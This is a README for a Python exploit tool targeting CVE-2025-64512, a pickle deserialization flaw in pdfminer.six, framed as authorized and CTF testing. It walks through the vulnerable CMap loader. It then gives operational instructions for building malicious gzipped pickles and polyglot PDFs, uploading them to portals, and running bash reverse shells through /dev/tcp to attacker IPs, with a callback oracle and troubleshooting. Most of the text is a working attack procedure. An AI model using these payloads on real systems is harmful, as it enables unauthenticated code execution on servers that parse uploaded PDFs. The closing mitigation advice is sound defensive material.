
Python PoC for CVE-2025-64512, a pdfminer.six pickle deserialization RCE. Generates gzipped pickle payloads and polyglot PDFs, then delivers them to upload portals for authorized testing.
| CVE | CVE-2025-64512 |
| Affected | pdfminer.six < 20251107 (fixed in 20251107 — CMaps became JSON) |
| Downstream victims | markitdown < 0.1.4, pdfplumber < 0.11.8 |
| Type | CWE-502 deserialization of untrusted data → unauthenticated RCE |
| Reference PoC | luigigubello/CVE-2025-64512-Polyglot-PoC (single-file polyglot variant) |
Tested target: https://app.hackthebox.com/machines/Bedside
pdfminer.six is a popular Python library for extracting text from PDFs. PDF fonts
need CMaps — tables that translate character codes into Unicode — and pdfminer
ships them as gzipped pickles (<name>.pickle.gz) inside its own package.
Look at how a CMap is loaded (pdfminer/cmapdb.py, all versions before 20251107):
@classmethod
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # the ONLY sanitization
filename = "%s.pickle.gz" % name # ← attacker controls `name`
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename) # ← absolute name ignores the dir!
if os.path.exists(path):
with gzip.open(path) as gzfile:
return type(str(name), (), pickle.loads(gzfile.read())) # ← 💥
Three flaws stack up:
name comes from the PDF itself. A Type0 (CID) font's /Encoding entry is
a PDF name, and the attacker fully controls it. PDF names can't contain a raw
/, so it is written with RFC-standard hex escapes: the name
/#2f#76#61#72#2f… decodes to /var/….os.path.join quirk. When the second argument is absolute, the first is
ignored entirely. So a name of /var/www/site/uploads/shell makes pdfminer look
at /var/www/site/uploads/shell.pickle.gz — any path on disk — instead of its
own CMap directory.pickle.loads() on the file's contents. A pickle can carry "rebuild me by
calling this function" instructions (__reduce__). Deserializing attacker
bytes = running attacker code, inside whatever process called pdfminer.Exploit prerequisites — the bug is trivially exploitable on any application that gives you both halves of the equation:
{"__reduce__": eval("__import__('os').system('<your command>')")}./Encoding names your pickle's absolute path.--mode two (default) — uploads <name>.pickle.gz, then <name>.pdf.
Use this whenever the target only parses files with a PDF extension
(e.g. a watcher globbing uploads/*.pdf).--mode polyglot — uploads one file <name>.pickle.gz that is both
a valid gzip-pickle and a valid PDF: the entire PDF hides in the gzip
header's FCOMMENT field (RFC 1952 allows comments; the %PDF- signature sits
at byte 10, and the xref offsets are pre-shifted so the table stays valid).
Use this when the target parses any uploaded file as PDF regardless of
extension (markitdown-style converters).--verify), waits out the target's
processing cycle (--wait), and can prepend a callback oracle (--callback)
that phones home before your command runs — so you can prove execution even if
your main channel fails.Nothing to install — Python 3.10+ (uses str | None syntax):
chmod +x cve_2025_64512.py
Generate sample payloads and (if a vulnerable pdfminer is importable) execute them in your own Python to prove the chain works before touching a target:
# point the selftest at a vulnerable pdfminer checkout/wheel (any < 20251107)
export PDFMINER_PATH=/path/to/pdfminer_package_dir
python3 cve_2025_64512.py --selftest
Expected output ends with SELFTEST PASS for both the two-file trigger and the
polyglot. You can also test manually:
python3 cve_2025_64512.py --no-upload --path /tmp --name demo --command 'id > /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/ # place as /tmp/demo.pickle.gz
pdf2txt.py /tmp/demo-trigger.pdf # vulnerable pdfminer only
cat /tmp/pwned # → your uid
# 1. start a listener for your command's callback channel
nc -lvnp 4444
# 2. run the exploit — let it discover the upload directory itself
python3 cve_2025_64512.py \
--url http://research.target.htb/ \
--leak-path \
--verify /uploads \
--wait 35 \
--command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"
Full argument reference:
| Argument | Purpose |
|---|---|
--command | Shell command to execute on the target (required). It runs under sh -c, so pipes/redirects/subshells work. |
--url | The upload endpoint that receives multipart POSTs. |
--upload-url | Override the POST target if uploads go to a different URL than --url. |
--field | Multipart field name (read the portal's HTML <form>; common: uploadFile, file). |
--path | Absolute server-side directory where uploads land (e.g. /var/www/site/uploads). The PDF names the pickle here, so it must be exact. |
--leak-path | Don't know the path? Upload malformed content and scrape it from the portal's error message (many portals print the destination). |
--name | Basename for generated files (default shell). Randomize if you re-run to avoid stale files. |
--mode | two (default) or polyglot — see §2. |
--callback URL | Prepend an HTTP fetch to URL before your command; run python3 -m http.server 8000 and watch for the hit. Execution oracle. |
--wait N | Sleep N seconds after uploading — match the target's processing cadence (watchers/cron often poll every 30 s; wait a full cycle before assuming failure). |
--verify /uploads | GET each uploaded file afterwards to confirm it landed where the PDF expects it. |
--timeout, --out-dir, --no-upload, --selftest | HTTP timeout, local output dir, generate-only mode, local rehearsal. |
echo "10.129.x.x bedside.htb research.bedside.htb" | sudo tee -a /etc/hosts
nc -lvnp 4444 & # listener
python3 cve_2025_64512.py \
--url http://research.bedside.htb/ \
--path /var/www/research.bedside.htb/uploads \
--verify /uploads --wait 35 \
--command "bash -c 'exec bash -i &>/dev/tcp/10.10.17.244/4444 <&1'"
# → shell as the pdfminer service user (on Bedside: datawrangler, inside a container)
| Symptom | Cause / fix |
|---|---|
MIME type mismatch on upload | Portal sniffs content, not just extension. Both payloads are real gzip / real PDF — check you didn't truncate them; the trigger must start with %PDF-, the pickle must decompress (gzip -t). |
| Upload OK, nothing executes | 1) Wait a full watcher/cron cycle (--wait 35). 2) Confirm the pickle is reachable at <path>/<name>.pickle.gz (--verify). 3) Check the process running pdfminer can read your file. 4) Use --callback for a definitive execution signal. |
| Upload path unknown | --leak-path, or trigger any validation error and read the message. |
| Polyglot never triggers | The parsed file must be the same file ending in .pickle.gz. If the target only parses *.pdf uploads, use --mode two. |
TypeError: type.__new__() argument 3 must be dict in target logs | That's success — pdfminer executed your pickle and then tripped over its own return value. Harmless. |
| Target patched | pdfminer ≥ 20251107 loads CMaps from JSON. Nothing to exploit here. |
pickle.loads, torch.load,
yaml.load on untrusted bytes are all the same bug class. Prefer
data-only formats (JSON, Safetensors, ONNX).X-Powered-By-style headers and return generic errors — both leaked
the ingredient list on Bedside.